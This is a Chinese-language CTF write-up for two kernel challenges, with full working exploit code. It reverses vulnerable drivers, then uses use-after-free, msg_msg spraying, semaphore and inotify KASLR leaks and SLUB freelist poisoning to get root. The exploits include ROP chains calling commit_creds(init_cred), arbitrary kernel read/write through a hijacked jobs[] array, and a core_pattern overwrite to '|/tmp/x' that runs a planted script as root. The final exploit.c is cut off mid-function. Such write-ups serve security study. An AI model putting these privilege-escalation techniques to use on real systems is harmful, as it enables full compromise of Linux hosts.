  8. 对每个 semid 调 semctl(semid, 4, GETVAL)
  9. 从返回值里减去 inotify_fsnotify_ops 的低 32 位,拿到 slide

再造一批执行用 UAF 槽

我把执行阶段单独放到了 idx = 128 ~ 191,避免和泄露阶段互相污染。

流程同样是:

  1. ALLOC
  2. MARK(0x1bf52)
  3. FREE

用 msg_msg喷回收对象

连续发很多条:

msgsnd(qid, ...)

消息内容里把:

*(uint64_t *)(mtext + 0xe0) = pivot_gadget;

然后再对所有悬挂槽 READ 一遍,找到哪个槽已经被 msg_msg 回收:

if (leak[1] == MSG_TYPE && leak[2] == MSG_TEXT_SIZE &&
    leak[5] == 0x4d4d4d4d4d4d4d4dULL)
    命中

对命中的槽写入完整 ROP 链

这里的 CMD_WRITE 写的是旧 NetJob->data
但实际上已经覆盖到了新 msg_msg->text

因为 handler 已经被设成 pivot gadget,
所以这里只要把 data 区布局成上面的 ROP 栈即可。

CMD_EXEC 触发

最后一发:

ioctl(fd, CMD_EXEC, {.idx = target_idx});

效果是:

  1. 读取悬挂对象 +0x110 的 handler
  2. 跳到 pivot gadget
  3. 栈 pivot 到 job->data
  4. 执行 commit_creds(init_cred)
  5. 经 KPTI trampoline 返回用户态
  6. 进入 get_flag()
  7. 读取 /root/flag / /flag 并打印

b站本地无kaslr版本exp.c

#define _GNU_SOURCE
#include <math.h>
#include <stdio.h>
#include <stdlib.h> 
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>  
#include <errno.h>
#include <stdint.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>   

#define dev "/dev/netref"
#define c_new 0x1111
#define c_del 0x2222
#define c_read 0x3333
#define c_write 0x4444
#define c_mark 0xdeadbeef
#define c_call 0xcafebabe


#define magic_value 114514

#define id0 0


#define mt 1
#define ms 0x1d0
#define mf 0x42
#define max_try 256



#define fo 0xe0
#define g_pop_rdi 0xffffffff810c8099ULL
#define g_commit  0xffffffff811300b0ULL
#define g_init    0xffffffff8328fbc0ULL
#define g_pivot   0xffffffff81e74805ULL
#define g_kpti    0xffffffff822011a7ULL

struct req{
    uint32_t idx;
    uint32_t size;
    uint64_t ptr;
    uint64_t value;
};


struct mymsg{
    long mtype;
    char mtext[ms];
};



uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_sp;

int main(void){
    char buf[0x100];
    uint64_t user_bp;
    uint64_t rop[0x20];
    int ffd;
    long n;
    int fd;
    int qid;
    int i;
    int ok=0;
    struct req r;
    uint64_t in[0x20];
    uint64_t out[0x20];
    struct mymsg msg;
    memset(in, 0x41, sizeof(in));


    __asm__ volatile("mov %%rbp, %0":"=r"(user_bp));
    __asm__ volatile("mov %%cs, %0":"=r"(user_cs));
    __asm__ volatile("mov %%ss, %0":"=r"(user_ss));
    __asm__ volatile("pushfq; pop %0":"=r"(user_rflags));
    __asm__ volatile("mov %%rsp, %0":"=r"(user_sp));


    fd=open(dev, O_RDWR);
    if (fd<0){
        perror("open");
        return 1;
    }

    r.idx = id0;
    r.size = 0x100;
    r.ptr = (uint64_t)in;
    r.value = 0;
    if(ioctl(fd,c_new, &r)<0){
        perror("c_new");
        return 1;
    }

    puts("new done");


    r.idx = id0;
    r.size = 0;
    r.ptr = 0;
    r.value = magic_value;

     if(ioctl(fd,c_mark, &r)<0&& errno!=EILSEQ){
        perror("c_mark");
        return 1;
    }

    puts("mark done");

    r.idx = id0;
    r.size = 0;
    r.ptr = 0;
    r.value = 0;
    if(ioctl(fd,c_del, &r)<0){
        perror("c_del");
        return 1;
    }

    puts("del done");


    for(i=1;i<=max_try;i++){
        printf("try %d\n", i);
        qid=msgget(IPC_PRIVATE, 0600|IPC_CREAT);
        if (qid<0){
            perror("msgget");
            return 1;
        }
        memset(&msg, mf, sizeof(msg));
        msg.mtype=mt;

        *(uint64_t*)(msg.mtext+fo)=g_pivot;

        if(msgsnd(qid, &msg, sizeof(msg.mtext), 0)<0){
            perror("msgsnd");
            return 1;
        }

        memset(out, 0, sizeof(out));
        r.idx = id0;
        r.size = 0x100;
        r.ptr = (uint64_t)out;
        r.value = 0;
        if (ioctl(fd,c_read, &r)<0){
            perror("c_read");
            return 1;
        }

        if(out[1]!=mt){
            continue;
        }
        if(out[2]!=ms){
            continue;
        }
        if(out[5]!=0x4242424242424242ULL){
            continue;
        }

        ok=1;
        puts("msg_msg reclaimed");
        printf("out[1]:%llx\n",(unsigned long long)out[1]);
        printf("out[2]:%llx\n",(unsigned long long)out[2]);
        printf("out[5]:%llx\n",(unsigned long long)out[5]);
        break;
    }

    if(!ok){
        puts("failed to reclaim msg_msg");
        return 1;
    }

    memset(rop, 0, sizeof(rop));
    rop[0]=0x1111111111111111ULL;
    rop[1]=0x2222222222222222ULL;
    rop[2]=g_pop_rdi;
    rop[3]=g_init;
    rop[4]=g_commit;
    rop[5]=g_kpti;
    rop[10]=user_bp;
    rop[20]=0;
    rop[21]=0x33333333333333ULL;
    rop[22]=(uint64_t)&&back_to_user;
    rop[23]=user_cs;
    rop[24]=user_rflags;    
    rop[25]=user_sp;
    rop[26]=user_ss;
    


    r.idx = id0;
    r.size = 0x100;
    r.ptr = (uint64_t)rop;
    r.value = 0;
    if (ioctl(fd,c_write, &r)<0){
        perror("c_write");
        return 1;
    }


    r.idx = id0;
    r.size = 0;
    r.ptr = 0;
    r.value = 0;
    if(ioctl(fd,c_call, &r)<0){
        perror("c_call");
        return 1;
    }


back_to_user:
    ffd=syscall(SYS_open,"/root/flag", O_RDONLY,0);
    if (ffd<0){
        syscall(SYS_write, 1, "open failed\n", 23);
        syscall(SYS_exit, 1);
    }
    n=syscall(SYS_read, ffd, buf, sizeof(buf)-1);

    if (n<0){
        syscall(SYS_write, 1, "read failed\n", 23);
        syscall(SYS_exit, 1);
    }

    syscall(SYS_write, 1, buf, n);
    syscall(SYS_write, 1, "\n", 1);
    syscall(SYS_exit, 0);
    return 0;

}

exp.c

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/sem.h>
#include <sys/types.h>
#include <unistd.h>

#define DEV_PATH "/dev/netref"

#define CMD_ALLOC 0x1111
#define CMD_FREE 0x2222
#define CMD_READ 0x3333
#define CMD_WRITE 0x4444
#define CMD_MARK 0xdeadbeef
#define CMD_EXEC 0xcafebabe

struct req {
    uint32_t idx;
    uint32_t size;
    uint64_t ptr;
    uint64_t extra;
};

static uint64_t user_cs;
static uint64_t user_ss;
static uint64_t user_sp;
static uint64_t user_rflags;

static const uint64_t KERNEL_BASE = 0xffffffff81000000ULL;
static const uint64_t INOTIFY_OPS_OFF = 0x000000000144bcc0ULL;
static const uint64_t POP_RDI_RET_OFF = 0x00000000000c8099ULL;
static const uint64_t COMMIT_CREDS_OFF = 0x00000000001300b0ULL;
static const uint64_t INIT_CRED_OFF = 0x000000000228fbc0ULL;
static const uint64_t PIVOT_GADGET_OFF = 0x0000000000e74805ULL;
static const uint64_t KPTI_TRAMPOLINE_OFF = 0x00000000012011a7ULL;

#define MSG_TEXT_SIZE 0x1d0
#define MSG_HANDLER_OFFSET 0xe0
#define MSG_TYPE 1
#define MSG_PATTERN 0x4d
#define NUM_LEAK_HOLES 16
#define NUM_LEAK_SEMS 4
#define NUM_EXEC_HOLES 64
#define EXEC_BASE_IDX 128
#define NUM_MSGS 128

struct leak_slot {
    int idx;
    int kind;
    uint64_t base;
    uint64_t q[0x20];
};

enum {
    SLOT_NONE,
    SLOT_SEM,
    SLOT_INOTIFY,
};

struct msgbuf_dyn {
    long mtype;
    char mtext[MSG_TEXT_SIZE];
};

static long sys_call3(long nr, long a1, long a2, long a3) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2), "d"(a3)
        : "rcx", "r11", "memory");
    return ret;
}

static long sys_call1(long nr, long a1) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1)
        : "rcx", "r11", "memory");
    return ret;
}

static long sys_call2(long nr, long a1, long a2) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2)
        : "rcx", "r11", "memory");
    return ret;
}

static void raw_write1(const char *buf, size_t len) {
    (void)sys_call3(1, 1, (long)buf, (long)len);
}

static void raw_exit(int code) {
    (void)sys_call1(60, code);
    __builtin_unreachable();
}

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static void save_state(void) {
    __asm__ volatile("mov %%cs, %0" : "=r"(user_cs));
    __asm__ volatile("mov %%ss, %0" : "=r"(user_ss));
    __asm__ volatile("mov %%rsp, %0" : "=r"(user_sp));
    __asm__ volatile("pushfq; pop %0" : "=r"(user_rflags));
}

static void get_flag(void) {
    static const char *paths[] = {
        "/root/flag",
        "/flag",
        "/home/ctf/flag",
        "/root/flag.txt",
        "/flag.txt",
    };
    char buf[0x100];
    long fd;
    long n;
    size_t i;
    static const char ok[] = "root-ok\n";

    for (i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
        fd = sys_call3(2, (long)paths[i], O_RDONLY, 0);
        if (fd < 0) {
            continue;
        }

        n = sys_call3(0, fd, (long)buf, sizeof(buf) - 1);
        if (n > 0) {
            raw_write1(buf, (size_t)n);
            raw_write1("\n", 1);
            raw_exit(0);
        }
    }

    raw_write1(ok, sizeof(ok) - 1);
    raw_exit(0);
}

static void return_ok(void) {
    static const char msg[] = "return-ok\n";

    raw_write1(msg, sizeof(msg) - 1);
    raw_exit(0);
}

static void pin_cpu0(void) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(0, sizeof(set), &set) < 0) {
        die("sched_setaffinity");
    }
}

static void do_req(int fd, unsigned long cmd, uint32_t idx, uint32_t size,
                   void *ptr, uint64_t extra, const char *what, int allow_eilseq) {
    struct req req = {
        .idx = idx,
        .size = size,
        .ptr = (uint64_t)ptr,
        .extra = extra,
    };

    if (ioctl(fd, cmd, &req) < 0) {
        if (allow_eilseq && errno == EILSEQ) {
            return;
        }
        die(what);
    }
}

static int spray_msg(uint64_t handler) {
    struct msgbuf_dyn msg;
    int qid;

    qid = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
    if (qid < 0) {
        die("msgget");
    }

    memset(&msg, MSG_PATTERN, sizeof(msg));
    msg.mtype = MSG_TYPE;
    *(uint64_t *)(msg.mtext + MSG_HANDLER_OFFSET) = handler;

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) < 0) {
        die("msgsnd");
    }

    return qid;
}

static int is_kernel_ptr(uint64_t v) {
    return (v & 0xffff000000000000ULL) == 0xffff000000000000ULL;
}

static int is_inotify_slot(const uint64_t *q, uint64_t *base_out) {
    if (q[1] == q[2] && q[4] == q[5] &&
        is_kernel_ptr(q[1]) && is_kernel_ptr(q[4]) &&
        is_kernel_ptr(q[17]) && is_kernel_ptr(q[18])) {
        *base_out = q[1] - 0x10;
        return 1;
    }
    return 0;
}

static int is_sem_slot(const uint64_t *q, uint64_t *base_out) {
    if (q[16] == q[17] && q[18] == q[19] && q[20] == q[21] &&
        q[22] == 1 && is_kernel_ptr(q[16]) &&
        is_kernel_ptr(q[18]) && is_kernel_ptr(q[20])) {
        *base_out = q[16] - 0x88;
        return 1;
    }
    return 0;
}

static uint64_t try_leak_slide_segment(int fd, int base_idx) {
    uint64_t fill[0x20];
    uint64_t leak_base;
    uint64_t patch[0x20];
    struct leak_slot slots[NUM_LEAK_HOLES];
    int semids[NUM_LEAK_SEMS];
    int ifds[NUM_LEAK_HOLES - NUM_LEAK_SEMS];
    unsigned i;

    memset(fill, 0x41, sizeof(fill));
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        do_req(fd, CMD_ALLOC, (uint32_t)(base_idx + (int)i), 0x100, fill, 0,
               "alloc-leak", 0);
    }
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        do_req(fd, CMD_MARK, (uint32_t)(base_idx + (int)i), 0, NULL, 0x1bf52,
               "mark-leak", 1);
    }
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        do_req(fd, CMD_FREE, (uint32_t)(base_idx + (int)i), 0, NULL, 0,
               "free-leak", 0);
    }

    for (i = 0; i < NUM_LEAK_SEMS; i++) {
        semids[i] = semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT);
        if (semids[i] < 0) {
            die("semget");
        }
    }
    memset(ifds, 0xff, sizeof(ifds));
    for (i = 0; i < NUM_LEAK_HOLES - NUM_LEAK_SEMS; i++) {
        ifds[i] = inotify_init1(0);
        if (ifds[i] < 0) {
            die("inotify_init1");
        }
    }

    memset(slots, 0, sizeof(slots));
    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        slots[i].idx = base_idx + (int)i;
        do_req(fd, CMD_READ, (uint32_t)slots[i].idx, 0x100, slots[i].q, 0,
               "read-leak", 0);
        if (is_sem_slot(slots[i].q, &leak_base)) {
            slots[i].kind = SLOT_SEM;
            slots[i].base = leak_base;
        } else if (is_inotify_slot(slots[i].q, &leak_base)) {
            slots[i].kind = SLOT_INOTIFY;
            slots[i].base = leak_base;
        }
    }

    for (i = 0; i < NUM_LEAK_HOLES; i++) {
        if (slots[i].kind != SLOT_SEM) {
            continue;
        }
        memcpy(patch, slots[i].q, sizeof(patch));
        patch[22] = 8;
        do_req(fd, CMD_WRITE, (uint32_t)slots[i].idx, 0x100, patch, 0,
               "write-leak", 0);
    }

    for (i = 0; i < NUM_LEAK_SEMS; i++) {
        int ret;
        uint32_t cand;
        uint32_t slide32;

        errno = 0;
        ret = semctl(semids[i], 4, GETVAL);
        if (ret == -1 && errno != 0) {
            continue;
        }

        cand = (uint32_t)ret;
        if (cand == 0 || cand == 0xffffffffU) {
            continue;
        }

        slide32 = cand - (uint32_t)(KERNEL_BASE + INOTIFY_OPS_OFF);
        if ((slide32 & 0x1fffffU) == 0 && slide32 < 0x40000000U) {
            return slide32;
        }
    }

    return ~0ULL;
}

static uint64_t leak_slide_auto(int fd) {
    int base_idx;

    for (base_idx = 0; base_idx < 64; base_idx += NUM_LEAK_HOLES) {
        uint64_t slide = try_leak_slide_segment(fd, base_idx);
        if (slide != ~0ULL) {
            return slide;
        }
    }

    return ~0ULL;
}

int main(int argc, char **argv) {
    int fd;
    uint64_t initial[0x20];
    uint64_t chain[0x20];
    uint64_t leak[0x20];
    int qids[NUM_MSGS];
    uint64_t slide;
    uint64_t pop_rdi_ret;
    uint64_t commit_creds;
    uint64_t init_cred;
    uint64_t pivot_gadget;
    uint64_t kpti_trampoline;
    int auto_slide;
    int probe_mode;
    int target_idx;
    unsigned reclaimed;
    unsigned i;

    slide = 0;
    auto_slide = argc > 1 && !strcmp(argv[1], "auto");
    if (!auto_slide && argc > 1 && strcmp(argv[1], "probe")) {
        slide = strtoull(argv[1], NULL, 0);
    }
    probe_mode = (argc > 1 && !strcmp(argv[1], "probe")) ||
                 (argc > 2 && !strcmp(argv[2], "probe"));

    save_state();
    pin_cpu0();

    fd = open(DEV_PATH, O_RDWR);
    if (fd < 0) {
        die("open");
    }

    if (auto_slide) {
        slide = leak_slide_auto(fd);
        if (slide == ~0ULL) {
            dprintf(2, "auto leak failed\n");
            return 1;
        }
    }

    pop_rdi_ret = KERNEL_BASE + slide + POP_RDI_RET_OFF;
    commit_creds = KERNEL_BASE + slide + COMMIT_CREDS_OFF;
    init_cred = KERNEL_BASE + slide + INIT_CRED_OFF;
    pivot_gadget = KERNEL_BASE + slide + PIVOT_GADGET_OFF;
    kpti_trampoline = KERNEL_BASE + slide + KPTI_TRAMPOLINE_OFF;

    memset(initial, 0x41, sizeof(initial));
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        do_req(fd, CMD_ALLOC, EXEC_BASE_IDX + i, 0x100, initial, 0,
               "alloc-exec", 0);
    }
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        do_req(fd, CMD_MARK, EXEC_BASE_IDX + i, 0, NULL, 0x1bf52,
               "mark-exec", 1);
    }
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        do_req(fd, CMD_FREE, EXEC_BASE_IDX + i, 0, NULL, 0, "free-exec", 0);
    }

    for (i = 0; i < NUM_MSGS; i++) {
        qids[i] = spray_msg(pivot_gadget);
    }

    target_idx = -1;
    reclaimed = 0;
    for (i = 0; i < NUM_EXEC_HOLES; i++) {
        memset(leak, 0, sizeof(leak));
        do_req(fd, CMD_READ, EXEC_BASE_IDX + i, 0x100, leak, 0, "read-pre",
               0);
        if (leak[1] == MSG_TYPE && leak[2] == MSG_TEXT_SIZE &&
            leak[5] == 0x4d4d4d4d4d4d4d4dULL) {
            reclaimed++;
            if (target_idx < 0) {
                target_idx = EXEC_BASE_IDX + (int)i;
            }
        }
    }

    if (target_idx < 0) {
        dprintf(2,
                "msg reclaim failed: hits=%u slide=%#llx "
                "first_qwords=%#llx %#llx %#llx %#llx qid0=%d\n",
                reclaimed,
                (unsigned long long)slide,
                (unsigned long long)leak[0],
                (unsigned long long)leak[1],
                (unsigned long long)leak[2],
                (unsigned long long)leak[5],
                qids[0]);
        return 1;
    }

    memset(chain, 0, sizeof(chain));
    chain[0] = 0x1111111111111111ULL;
    chain[1] = 0x2222222222222222ULL;
    for (i = 6; i < 20; i++) {
        chain[i] = 0;
    }

    if (probe_mode) {
        chain[2] = kpti_trampoline;
        chain[17] = 0;
        chain[18] = 0x3333333333333333ULL;
        chain[19] = (uint64_t)return_ok;
        chain[20] = user_cs;
        chain[21] = user_rflags;
        chain[22] = user_sp;
        chain[23] = user_ss;
    } else {
        chain[2] = pop_rdi_ret;
        chain[3] = init_cred;
        chain[4] = commit_creds;
        chain[5] = kpti_trampoline;
        chain[20] = 0;
        chain[21] = 0x3333333333333333ULL;
        chain[22] = (uint64_t)get_flag;
        chain[23] = user_cs;
        chain[24] = user_rflags;
        chain[25] = user_sp;
        chain[26] = user_ss;
    }

    do_req(fd, CMD_WRITE, (uint32_t)target_idx, 0x100, chain, 0, "write", 0);

    do_req(fd, CMD_EXEC, (uint32_t)target_idx, 0, NULL, 0, "exec", 0);
    return 0;
}

ref-revenge

同样也是内核题,是上一题的加强版

babykernel 的 UAF 对象在通用 kmalloc cache 里,所以可以被 msg_msg/sem/inotify 这些内核对象回收;ref-revenge 换成了独立 netjob_cache,这些外部对象抢不到洞了,所以必须玩它自己的 SLUB freelist

run.sh

#!/bin/bash
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel ./bzImage \
    -hda ./rootfs.img \
    -nographic \
    -monitor /dev/null \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot \
    -snapshot \
    -s

ida看驱动CrossRef.ko

从 init_module可以看出,模块创建了一个名字叫 netjob_cache的 kmem_cache

单个对象大小是 0x200,注册了 misc 设备 crossref,用户态对应节点是 /dev/crossref

也就是说,后面所有 job 对象都来自一个独立的 SLUB cache,大小固定 0x200

这点非常重要,因为独立 cache 的 freelist 规律更稳定,0x200 大小的对象布局可以精确推

后续做 UAF / freelist poisoning 时,不会被别的 kmalloc-size 对象频繁污染

接着看 ioctl 分发,确定攻击面

crossref_ioctl 是整题最关键的总入口

把它逆完后,可以得到这些命令:

0x1111:分配对象

0x2222:释放对象

0x3333:读对象 data

0x4444:写对象 data

0xdeadbeef:修改 job->magic_tag

  • 0xcafebabe:调用 job->handler(job->data)

看对象分配函数alloc_job ,逆出来后,可以还原出对象布局大致如下:

struct NetJob {
    int refcnt;              // +0x00
    int state;               // +0x04
    char data[0x100];        // +0x08
    uint64_t magic_tag;      // +0x108
    uint64_t handler;        // +0x110
    // ... padding 到 0x200
};

其中最关键的点有 3 个:

  1. data 从 +0x8 开始,长度正好 0x100

说明正常读写接口只覆盖 +0x8 ~ +0x107

  1. handler 在 +0x110

说明用户态正常 read/write 碰不到函数指针

  1. alloc_job 会初始化 handler = default_handler

所以每个新对象默认都带着一个模块内代码指针

这个细节后面会变成我们的模块基址泄漏

看读写函数rw_job

它只会对 job + 0x8 这 0x100 字节做 _copy_to_user/_copy_from_user

也就是说:

  • 能读写的是 data[0x100]
  • 正常情况下不能直接覆盖 magic_tag
  • 不能直接覆盖 handler

漏洞点在deadbeef 分支

支逻辑大概是:

  1. 取出 jobs[idx]
  2. 给它 refcount_inc
  3. 检查 job->state
  4. 如果传入值等于特殊常量 0x1bf52
  • 打印 Critical Magic Error
  • 把 state = 2
  • 做一次 refcount_dec
  • 如果减到 0,就 kmem_cache_free(job)
  1. 但是不会清空 jobs[idx]

这就是核心漏洞UAF

这个模块有两个很适合利用的性质

cache 是独立的,所有对象都来自 netjob_cache,复用关系可控

而且对象固定 0x200而在这个 cache 中:

  • 对象尾部附近会放 freelist 编码值
  • 被 free 后,再通过旧悬挂指针读回去,就能观察到 freelist 元数据

这意味着我们能做两件事:

  1. 泄漏模块里的代码指针
  2. 做 freelist poisoning,最终拿到任意地址读写

利用思路

先分配两个对象A,C

然后对 A 触发 deadbeef(idx=A, extra=0x1bf52)

  • A 被 free
  • jobs[A] 仍然悬挂

此时通过旧的 A 去读对象尾部,能拿到 freelist 编码值

接着:

  1. 再分配一个新对象把 A 位置重新占住
  2. free 掉 C
  3. 再 free 掉刚刚那个新对象

这样旧的 A 位置里保存的 freelist,就指向了 C

再通过旧 A 读出这个 freelist 编码值,就能恢复出 C 的真实内核地址

然后:

  1. 再让 C 自己也变成悬挂对象
  2. 利用 freelist poisoning,让下一次分配落到 C - 0x108
  3. 这样新对象的 data[0..7] 就会覆盖到原来 C->handler

最后再通过旧的 C 去读 data[0..7],读到的其实就是C->handler,也就是 default_handler

default_handler 在模块内偏移固定:

module_base = default_handler - 0x10;

这是因为:

  • __pfx_default_handler 在 .text + 0x0
  • default_handler 在 .text + 0x10

所以拿到 default_handler 的运行时地址,就等于拿到了整个模块映射基址

模块基址有了以后,下一步目标是:

把 jobs[] 数组本身劫持掉,构造一个“假 job 指针”,从而做任意地址读写

模块里有一个全局数组:

NetJob *jobs[1280];

它在模块 .bss 里,偏移固定:

jobs = module_base + 0x2700

如果能让某个 jobs[idx] 指向我们伪造的内存,那么:

  • 0x3333 会从 fake_job + 0x8 读
  • 0x4444 会往 fake_job + 0x8 写

于是只要把 fake_job 的起始地址摆到合适的位置,就能把任意目标地址映射成“一个 job 的 data 区

我最后采用的是更稳的一种写法,已经拿到模块基址之后,切到另一颗 CPU

在一块新的、干净的 slab 上再做一次最小化 stable UAF

通过 freelist poisoning,把下一次分配直接分配到:

&jobs[SELF_IDX] - 8

这样新分配出来的“对象”,其实落在 jobs[] 数组内部。

然后往这里写一个假内容:

fake[0] = &jobs[SELF_IDX] - 8;
fake[1] = target - 8;

效果是:

  • jobs[SELF_IDX] 变成一个可控“假 job”
  • jobs[ARW_IDX] 变成另一个“指向目标地址前 8 字节”的假 job

之后:

  • 对 SELF_IDX 写 16 字节,可以动态修改 ARW_IDX 指向哪里
  • 对 ARW_IDX 做 read/write,就等价于对任意内核地址做 read/write

这就是最终的 arbitrary read 和arbitrary write

接着是KASLR 泄漏

前面我们已经有 arbitrary read 了

再回头看 default_handler 这段模块代码:它内部会调用 _printk

所以只要读出 default_handler 的机器码,解析出那条 call _printk 的相对偏移,就能还原 _printk 的真实运行时地址。

而 _printk 在本地 vmlinux 里的静态地址是固定的:

_printk = 0xffffffff8119a9f0

于是:

slide = printk_runtime - static__printk

这就是远程当轮内核的真实 KASLR 偏移

拿到 slide 以后,就可以得到远程真实地址:

core_pattern = static_core_pattern + slide;

最终完整攻击流程如下:

第一次 stable UAF

  • 泄漏 default_handler
  • 计算模块基址
  • 用 AC 两个对象控制 freelist
  • 通过悬挂指针读 freelist 编码值
  • 恢复 C 真实地址
  • poison 到 C-0x108
  • 读出 C->handler

得到:default_handlermodule_base

第二次 stable UAF

  • 劫持 jobs[]
  • 建立 arbitrary read/write
  • 在干净 slab 上重新做一次最小化 UAF
  • freelist poisoning 到 &jobs[SELF_IDX] - 8
  • 构造两个假 job
  • 通过 SELF_IDX 动态修改 ARW_IDX 的目标地址

得到:任意地址读和任意地址写

然后live 泄漏 KASLR拿远程本轮真实 slide

  • 用 arbitrary read 读 default_handler 机器码
  • 解析其中对 _printk 的 call
  • 算出 _printk 真实地址
  • 与静态 vmlinux 中 _printk 地址相减

得到slide并算出 core_pattern

core_pattern = static_core_pattern + slide;

覆盖 core_pattern把它写成:

|/tmp/x

在用户态提前准备:

#!/bin/sh
cp /root/flag /tmp/flag
chmod 777 /tmp/flag

触发 crash,子进程设置 RLIMIT_CORE=inf后空指针写崩溃

于是内核执行:

/tmp/x

最终/root/flag被 root 拷贝到 /tmp/flag,用户态读取 /tmp/flag,拿到真 flag

exp.c

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define CMD_ALLOC 0x1111UL
#define CMD_FREE 0x2222UL
#define CMD_READ 0x3333UL
#define CMD_WRITE 0x4444UL
#define CMD_SET_HANDLER 0xdeadbeefUL

#define CRIT_MAGIC 0x1bf52ULL
#define DATA_SZ 0x100

#define SLAB_OBJS 16

#define IDX_A 0
#define IDX_C 1
#define IDX_A_LIVE 16
#define IDX_A_REUSE 17
#define IDX_C_REUSE 18
#define IDX_C_CONSUME 19
#define IDX_FAKE_LEAK 20
#define IDX_CPU1_STALE 32
#define IDX_CPU1_CONSUME 48
#define IDX_FAKE_JOBS 49

#define SELF_IDX 1200
#define ARW_IDX 1201

#define DEFAULT_HANDLER_OFF 0x10ULL
#define JOBS_OFF 0x2700ULL

#define STATIC_PRINTK 0xffffffff8119a9f0ULL
#define STATIC_CORE_PATTERN 0xffffffff8346f0e0ULL

struct request {
    uint32_t idx;
    uint32_t size;
    uint64_t ptr;
    uint64_t extra;
};

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static void diex(const char *msg) {
    fprintf(stderr, "%s\n", msg);
    exit(1);
}

static int pin_cpu(int cpu) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    return sched_setaffinity(0, sizeof(set), &set);
}

static long do_ioctl(int fd, unsigned long cmd, struct request *req) {
    return ioctl(fd, cmd, req);
}

static void alloc_job(int fd, int idx, const void *buf, uint32_t size) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.size = size;
    req.ptr = (uint64_t)(uintptr_t)buf;
    if (do_ioctl(fd, CMD_ALLOC, &req) < 0 && errno != EEXIST) {
        die("alloc_job");
    }
}

static void free_job(int fd, int idx) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    if (do_ioctl(fd, CMD_FREE, &req) < 0 && errno != ENOENT) {
        die("free_job");
    }
}

static void read_job(int fd, int idx, void *buf, uint32_t size) {
    struct request req;

    memset(buf, 0, size);
    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.size = size;
    req.ptr = (uint64_t)(uintptr_t)buf;
    if (do_ioctl(fd, CMD_READ, &req) < 0) {
        die("read_job");
    }
}

static void write_job(int fd, int idx, const void *buf, uint32_t size) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.size = size;
    req.ptr = (uint64_t)(uintptr_t)buf;
    if (do_ioctl(fd, CMD_WRITE, &req) < 0) {
        die("write_job");
    }
}

static long set_handler_magic(int fd, int idx, uint64_t val) {
    struct request req;

    memset(&req, 0, sizeof(req));
    req.idx = (uint32_t)idx;
    req.extra = val;
    return do_ioctl(fd, CMD_SET_HANDLER, &req);
}

static uint64_t tail_qword(const uint8_t *buf) {
    uint64_t v;

    memcpy(&v, buf + DATA_SZ - sizeof(v), sizeof(v));
    return v;
}

static void set_tail_qword(uint8_t *buf, uint64_t v) {
    memcpy(buf + DATA_SZ - sizeof(v), &v, sizeof(v));
}

static void fill_data(uint8_t *buf, uint8_t c) {
    memset(buf, c, DATA_SZ);
}

static void alloc_fill(int fd, int idx, uint8_t c) {
    uint8_t buf[DATA_SZ];

    fill_data(buf, c);
    alloc_job(fd, idx, buf, sizeof(buf));
}

static void free_range(int fd, int from, int to) {
    int i;

    for (i = from; i <= to; i++) {
        free_job(fd, i);
    }
}

static void free_slot_if_live(int fd, int idx) {
    free_job(fd, idx);
}

static void write_file(const char *path, const void *buf, size_t len, mode_t mode) {
    int fd;

    fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
    if (fd < 0) {
        die("open output file");
    }
    if (write(fd, buf, len) != (ssize_t)len) {
        die("write output file");
    }
    close(fd);
}

static void prepare_helper_files(void) {
    static const char script[] =
        "#!/bin/sh\n"
        "cp /root/flag /tmp/flag\n"
        "chmod 777 /tmp/flag\n";

    unlink("/tmp/flag");
    write_file("/tmp/x", script, sizeof(script) - 1, 0777);
    chmod("/tmp/x", 0777);
}

static int trigger_core_pattern_and_print_flag(void) {
    char flag[256];
    int fd;
    pid_t pid;
    int status;
    int tries;

    pid = fork();
    if (pid < 0) {
        die("fork");
    }
    if (pid == 0) {
        struct rlimit lim;

        lim.rlim_cur = RLIM_INFINITY;
        lim.rlim_max = RLIM_INFINITY;
        setrlimit(RLIMIT_CORE, &lim);
        *(volatile int *)0 = 0;
        _exit(0);
    }
